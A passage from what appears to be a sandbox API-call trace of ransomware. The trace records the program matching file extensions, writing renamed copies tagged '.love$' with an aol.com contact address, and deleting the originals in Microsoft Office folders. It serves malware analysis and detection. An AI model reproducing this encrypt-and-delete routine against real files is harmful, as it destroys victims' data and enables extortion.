Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.402] lstrlenW (lpString=".doc") returned 4 [0273.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString=".docx") returned 5 [0273.402] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0273.402] lstrlenW (lpString=".pdf") returned 4 [0273.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString=".xls") returned 4 [0273.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.402] lstrlenW (lpString=".xlsx") returned 5 [0273.402] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0273.402] lstrlenW (lpString=".ppt") returned 4 [0273.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.402] lstrlenW (lpString=".zip") returned 4 [0273.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.402] lstrlenW (lpString=".rar") returned 4 [0273.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString=".bz2") returned 4 [0273.402] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.402] lstrlenW (lpString=".7z") returned 3 [0273.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.403] lstrlenW (lpString=".dbf") returned 4 [0273.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.403] lstrlenW (lpString=".1cd") returned 4 [0273.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105238.WMF") returned 68 [0273.403] lstrlenW (lpString=".jpg") returned 4 [0273.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.403] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.403] lstrlenW (lpString="J0105240.WMF") returned 12 [0273.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.405] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=11532) returned 1 [0273.405] CloseHandle (hObject=0x4e4) returned 1 [0273.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 0x220 [0273.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.406] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.406] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0273.407] GetLastError () returned 0x0 [0273.407] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x2d0c, lpOverlapped=0x0) returned 1 [0273.426] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x2d10, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x2d10, lpOverlapped=0x0) returned 1 [0273.428] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.428] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.428] SetEndOfFile (hFile=0x534) returned 1 [0273.428] CloseHandle (hObject=0x534) returned 1 [0273.428] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.428] SetEndOfFile (hFile=0x4e4) returned 1 [0273.432] CloseHandle (hObject=0x4e4) returned 1 [0273.432] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.432] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105240.wmf")) returned 1 [0273.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.434] lstrlenW (lpString=".doc") returned 4 [0273.434] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.434] lstrlenW (lpString=".docx") returned 5 [0273.434] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.434] lstrlenW (lpString=".pdf") returned 4 [0273.434] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.434] lstrlenW (lpString=".xls") returned 4 [0273.434] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.434] lstrlenW (lpString=".xlsx") returned 5 [0273.434] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.434] lstrlenW (lpString=".ppt") returned 4 [0273.434] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.434] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.435] lstrlenW (lpString=".zip") returned 4 [0273.435] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.435] lstrlenW (lpString=".rar") returned 4 [0273.435] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.435] lstrlenW (lpString=".bz2") returned 4 [0273.435] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.435] lstrlenW (lpString=".7z") returned 3 [0273.435] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.435] lstrlenW (lpString=".dbf") returned 4 [0273.435] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.435] lstrlenW (lpString=".1cd") returned 4 [0273.435] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.435] lstrlenW (lpString=".jpg") returned 4 [0273.435] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.435] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.435] lstrlenW (lpString=".doc") returned 4 [0273.435] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0273.435] lstrlenW (lpString=".docx") returned 5 [0273.435] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0273.435] lstrlenW (lpString=".pdf") returned 4 [0273.435] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0273.435] lstrlenW (lpString=".xls") returned 4 [0273.435] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0273.435] lstrlenW (lpString=".xlsx") returned 5 [0273.436] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0273.436] lstrlenW (lpString=".ppt") returned 4 [0273.436] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0273.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.436] lstrlenW (lpString=".zip") returned 4 [0273.436] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0273.436] lstrlenW (lpString=".rar") returned 4 [0273.436] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0273.436] lstrlenW (lpString=".bz2") returned 4 [0273.436] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0273.436] lstrlenW (lpString=".7z") returned 3 [0273.436] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0273.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.436] lstrlenW (lpString=".dbf") returned 4 [0273.436] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0273.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.436] lstrlenW (lpString=".1cd") returned 4 [0273.436] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0273.436] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105240.WMF") returned 68 [0273.436] lstrlenW (lpString=".jpg") returned 4 [0273.436] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0273.436] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0273.436] lstrlenW (lpString="J0105246.WMF") returned 12 [0273.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.438] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=19328) returned 1 [0273.438] CloseHandle (hObject=0x4e4) returned 1 [0273.438] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 0x220 [0273.439] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0273.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e4 [0273.439] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.439] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0273.441] GetLastError () returned 0x0 [0273.441] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x4b80, lpOverlapped=0x0) returned 1 [0273.692] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x4b90, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x4b90, lpOverlapped=0x0) returned 1 [0273.694] ReadFile (in: hFile=0x4e4, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0273.694] WriteFile (in: hFile=0x534, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0273.694] SetEndOfFile (hFile=0x534) returned 1 [0273.694] CloseHandle (hObject=0x534) returned 1 [0273.694] SetFilePointerEx (in: hFile=0x4e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0273.694] SetEndOfFile (hFile=0x4e4) returned 1 [0273.698] CloseHandle (hObject=0x4e4) returned 1 [0273.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0273.816] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105246.wmf")) returned 1 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.109] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.109] lstrlenW (lpString=".doc") returned 4 [0274.109] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.110] lstrlenW (lpString=".docx") returned 5 [0274.110] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0274.110] lstrlenW (lpString=".pdf") returned 4 [0274.110] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.110] lstrlenW (lpString=".xls") returned 4 [0274.110] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.110] lstrlenW (lpString=".xlsx") returned 5 [0274.110] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0274.110] lstrlenW (lpString=".ppt") returned 4 [0274.110] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.110] lstrlenW (lpString=".zip") returned 4 [0274.110] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.110] lstrlenW (lpString=".rar") returned 4 [0274.110] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.110] lstrlenW (lpString=".bz2") returned 4 [0274.110] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.110] lstrlenW (lpString=".7z") returned 3 [0274.110] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.110] lstrlenW (lpString=".dbf") returned 4 [0274.110] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.110] lstrlenW (lpString=".1cd") returned 4 [0274.110] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.110] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.110] lstrlenW (lpString=".jpg") returned 4 [0274.110] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.111] lstrlenW (lpString=".doc") returned 4 [0274.111] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.111] lstrlenW (lpString=".docx") returned 5 [0274.111] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0274.111] lstrlenW (lpString=".pdf") returned 4 [0274.111] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.111] lstrlenW (lpString=".xls") returned 4 [0274.111] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.111] lstrlenW (lpString=".xlsx") returned 5 [0274.111] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0274.111] lstrlenW (lpString=".ppt") returned 4 [0274.111] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.111] lstrlenW (lpString=".zip") returned 4 [0274.111] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.111] lstrlenW (lpString=".rar") returned 4 [0274.111] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.111] lstrlenW (lpString=".bz2") returned 4 [0274.111] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.111] lstrlenW (lpString=".7z") returned 3 [0274.111] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.111] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.111] lstrlenW (lpString=".dbf") returned 4 [0274.111] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.112] lstrlenW (lpString=".1cd") returned 4 [0274.112] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105246.WMF") returned 68 [0274.112] lstrlenW (lpString=".jpg") returned 4 [0274.112] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.112] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0274.112] lstrlenW (lpString="J0105306.WMF") returned 12 [0274.112] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.113] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=4320) returned 1 [0274.113] CloseHandle (hObject=0x454) returned 1 [0274.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 0x220 [0274.114] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0274.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0274.114] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.114] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.115] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0274.116] GetLastError () returned 0x0 [0274.116] ReadFile (in: hFile=0x454, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x10e0, lpOverlapped=0x0) returned 1 [0274.119] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x10f0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x10f0, lpOverlapped=0x0) returned 1 [0274.120] ReadFile (in: hFile=0x454, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0274.120] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0274.121] SetEndOfFile (hFile=0x488) returned 1 [0274.121] CloseHandle (hObject=0x488) returned 1 [0274.121] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0274.121] SetEndOfFile (hFile=0x454) returned 1 [0274.126] CloseHandle (hObject=0x454) returned 1 [0274.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0274.127] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105306.wmf")) returned 1 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.128] lstrlenW (lpString=".doc") returned 4 [0274.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.128] lstrlenW (lpString=".docx") returned 5 [0274.128] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0274.128] lstrlenW (lpString=".pdf") returned 4 [0274.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.128] lstrlenW (lpString=".xls") returned 4 [0274.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.128] lstrlenW (lpString=".xlsx") returned 5 [0274.128] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0274.129] lstrlenW (lpString=".ppt") returned 4 [0274.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.129] lstrlenW (lpString=".zip") returned 4 [0274.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0274.129] lstrlenW (lpString=".rar") returned 4 [0274.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0274.129] lstrlenW (lpString=".bz2") returned 4 [0274.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0274.129] lstrlenW (lpString=".7z") returned 3 [0274.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.129] lstrlenW (lpString=".dbf") returned 4 [0274.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.129] lstrlenW (lpString=".1cd") returned 4 [0274.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.129] lstrlenW (lpString=".jpg") returned 4 [0274.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105306.WMF") returned 68 [0274.129] lstrlenW (lpString=".doc") returned 4 [0274.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0274.129] lstrlenW (lpString=".docx") returned 5 [0274.129] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0274.130] lstrlenW (lpString=".pdf") returned 4 [0274.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0274.130] lstrlenW (lpString=".xls") returned 4 [0274.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0274.130] 